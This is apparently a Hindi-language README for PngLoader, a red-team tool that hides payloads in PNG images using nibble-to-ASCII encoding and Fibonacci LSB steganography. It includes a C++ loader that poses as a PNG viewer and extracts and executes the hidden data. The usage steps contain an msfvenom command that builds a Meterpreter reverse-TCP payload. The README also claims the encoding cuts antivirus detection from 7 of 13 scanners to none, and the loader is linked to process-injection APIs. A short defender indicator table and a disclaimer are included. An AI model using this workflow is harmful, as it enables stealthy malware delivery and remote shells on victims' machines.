
PNG छवियों में nibble-to-ASCII एन्कोडिंग और Fibonacci LSB स्टेग्नोग्राफी का उपयोग करके मनमाने पेलोड छिपाता है, साथ में एक C++ लोडर जो एम्बेडेड डेटा को निकालता और निष्पादित करता है।
अस्वीकरण: यह परियोजना केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए है — पेनेट्रेशन टेस्टिंग, CTF प्रतियोगिताएँ, रेड-टीम अभ्यास, और शैक्षणिक अध्ययन। बिना स्पष्ट लिखित अनुमति के सिस्टम के विरुद्ध इसका उपयोग न करें।
PngLoader दो परतों का उपयोग करके PNG छवियों के भीतर मनमाना डेटा छिपाता है:
# 1. Generate raw test data
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<> LPORT=<> -f raw -o payload.bin
# 2. Encode binary → ASCII
python3 0.Scripts/TransformRawToEncode.py payload.bin encoded.txt
# 3. Embed into a cover image
python3 0.Scripts/HideEncodeToPicture.py embed 2.Payloads/clean.png encoded.txt -o stego.png
# 4. Verify extraction works
python3 0.Scripts/HideEncodeToPicture.py extract stego.png --hex
# 5. Check image capacity
python3 0.Scripts/HideEncodeToPicture.py capacity 2.Payloads/clean.png

PngLoader/
├── 0.Scripts/
│ ├── TransformRawToEncode.py # Nibble-to-ASCII encoder/decoder
│ └── HideEncodeToPicture.py # Fibonacci steganography (embed/extract)
├── 1.Loader/
│ ├── loader_png.cpp # PNG viewer + steganography extractor
│ ├── loader.cpp # Alternate loader (inline buffer)
│ ├── Utils.cpp / Utils.h # ASCII → binary decoder
│ ├── VirtualBuffer.h/.cpp # RAII VirtualAlloc wrapper
│ ├── Hearders.h # Shared Windows includes
│ └── Loader_png.vcxproj # Visual Studio project
├── 2.Payloads/
│ └── clean.png # Sample cover image
└── readme.md
प्रत्येक बाइट को दो 4-बिट निबल्स में विभाजित किया जाता है। प्रत्येक निबल को एक यादृच्छिक आधार (48, 64, या 96) जोड़कर एक प्रिंटेबल ASCII वर्ण में मैप किया जाता है:
Byte 0xFC → high nibble 0xF, low nibble 0xC
High: 48+15=63 '?' | 64+15=79 'O' | 96+15=111 'o'
Low: 48+12=60 '<' | 64+12=76 'L' | 96+12=108 'l'
डिकोडिंग मॉड्यूलो-16 गुण का उपयोग करती है — तीनों आधार 16 के गुणज हैं:
original_nibble = encoded_char % 16
byte = (char1 % 16) << 4 | (char2 % 16)
रैंडम बेस चयन का अर्थ है कि समान इनपुट हर बार भिन्न आउटपुट उत्पन्न करता है, लेकिन डिकोडिंग सदैव नियतात्मक होती है।
| बेस | रेंज | अक्षर |
|---|---|---|
| 48 | 48–63 | 0123456789:;<=>? |
| 64 | 64–79 | @ABCDEFGHIJKLMNO |
| 96 | 96–111 | `abcdefghijklmno |
पेलोड बाइट्स को फ्लैटन किए गए पिक्सेल ऐरे पर फिबोनाची अनुक्रम (1, 2, 3, 5, 8, 13, 21, …) का पालन करते हुए पिक्सेल इंडेक्स पर रखा जाता है। यह संशोधनों को एक स्थान पर केंद्रित करने के बजाय पूरी छवि में फैला देता है।
बिट पैकिंग — प्रत्येक बाइट को RGB LSBs में 3/3/2 में विभाजित किया जाता है:
R: bits 7–5 (3 LSBs)
G: bits 4–2 (3 LSBs)
B: bits 1–0 (2 LSBs)
रैपिंग — जब फिबोनाची इंडेक्स पिक्सेल संख्या से अधिक हो जाते हैं, तो वे मॉड्यूलो के माध्यम से रैप हो जाते हैं। टकरावों को लीनियर प्रोबिंग द्वारा हल किया जाता है। एक 0x00 टर्मिनेटर डेटा के अंत को चिह्नित करता है।
| छवि आकार | पिक्सेल | स्वच्छ क्षमता |
|---|---|---|
| 640×480 | 307,200 | ~27 बाइट्स |
| 1920×1080 | 2,073,600 | ~31 बाइट्स |
| 4000×3000 | 12M | ~35 बाइट्स |
रैपिंग सक्षम होने पर, अधिकतम क्षमता = total_pixels − 1.
C++ लोडर (loader_png.cpp) एक वैध PNG व्यूअर के रूप में कार्य करता है:
UtilDecryptFileQuoted() (mod-16 रिवर्सल) के माध्यम से ASCII → बाइनरी डिकोड करता हैफिबोनाची अनुक्रम केवल एक दृष्टिकोण है। अन्य पिक्सेल-चयन रणनीतियाँ अलग-अलग क्षमता/सुरक्षा ट्रेड-ऑफ़ प्रदान करती हैं:
| एल्गोरिदम | स्वच्छ क्षमता (1080p) | साझा कुंजी | प्रसार | लागत |
|---|---|---|---|---|
| फिबोनाची (लागू) | ~31 बाइट्स | नहीं | घातीय अंतराल | न्यूनतम |
| प्राइम-इंडेक्स | ~150K बाइट्स | नहीं | n·ln(n) अंतराल | मध्यम |
| LFSR | ~2M बाइट्स | हाँ (सीड) | छद्म-यादृच्छिक | न्यूनतम |
| कीड परम्युटेशन | ~2M बाइट्स | हाँ (कुंजी) | क्रिप्टोग्राफ़िक | उच्च |
| हिल्बर्ट कर्व | स्ट्राइड-निर्भर | नहीं | स्थानिक रूप से एकसमान | मध्यम |
| गोल्डन रेशियो (वेइल) | ~2M बाइट्स | नहीं | निम्न-विसंगति | न्यूनतम |
प्राइम-इंडेक्स — पिक्सेल इंडेक्स अभाज्य संख्याएँ हैं (2, 3, 5, 7, 11…)। अभाज्य संख्याएँ n·ln(n) के रूप में बढ़ती हैं, जो फिबोनाची की तुलना में बहुत अधिक स्वच्छ क्षमता देती हैं।
LFSR — एक अधिकतम-लंबाई वाला लीनियर फीडबैक शिफ्ट रजिस्टर एक छद्म-यादृच्छिक परम्युटेशन उत्पन्न करता है। सीड एक साझा रहस्य के रूप में कार्य करता है। पूर्ण अवधि के लिए शून्य टकराव।
कीड परम्युटेशन (फिशर-येट्स) — सभी पिक्सेल इंडेक्स का CSPRNG-सीडेड शफल। कुंजी के बिना स्थितियाँ यादृच्छिक से अप्रभेद्य होती हैं।
हिल्बर्ट कर्व — एक स्ट्राइड के साथ स्पेस-फिलिंग कर्व के साथ पिक्सेल पर चलें। 2D छवि क्षेत्र में परिवर्तनों को समान रूप से वितरित करता है।
गोल्डन रेशियो (वेइल अनुक्रम) — pos(n) = floor(n × φ × total) mod total. सबसे एकसमान 1D वितरण उत्पन्न करता है। गणना करना तुच्छ है।
रॉ पेलोड — 7/13 स्कैनर इसे डिटेक्ट करते हैं:

एन्कोडिंग के बाद — 0/13 स्कैनर इसे डिटेक्ट करते हैं:

ब्लू-टीम / डिफेंडर्स के लिए:
| परत | संकेतक |
|---|---|
| स्टैटिक | इम्पोर्ट: VirtualAllocEx, WriteProcessMemory, SetThreadContext |
| छवि | LSB प्लेन पर ची-स्क्वेयर स्टेगैनालिसिस संशोधनों का पता लगाता है |
| व्यवहारिक | निलंबित प्रोसेस निर्माण + रिमोट थ्रेड इंजेक्शन (Sysmon EID 1+8) |
| एन्कोडिंग | तीन 16-वर्ण ASCII श्रेणियों से विशेष रूप से अक्षर |
Python:
pip install numpy Pillow
C++ लोडर:
1.Loader/Loader_png.vcxproj खोलें → Build Release x64केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए। ऊपर दिया गया अस्वीकरण देखें।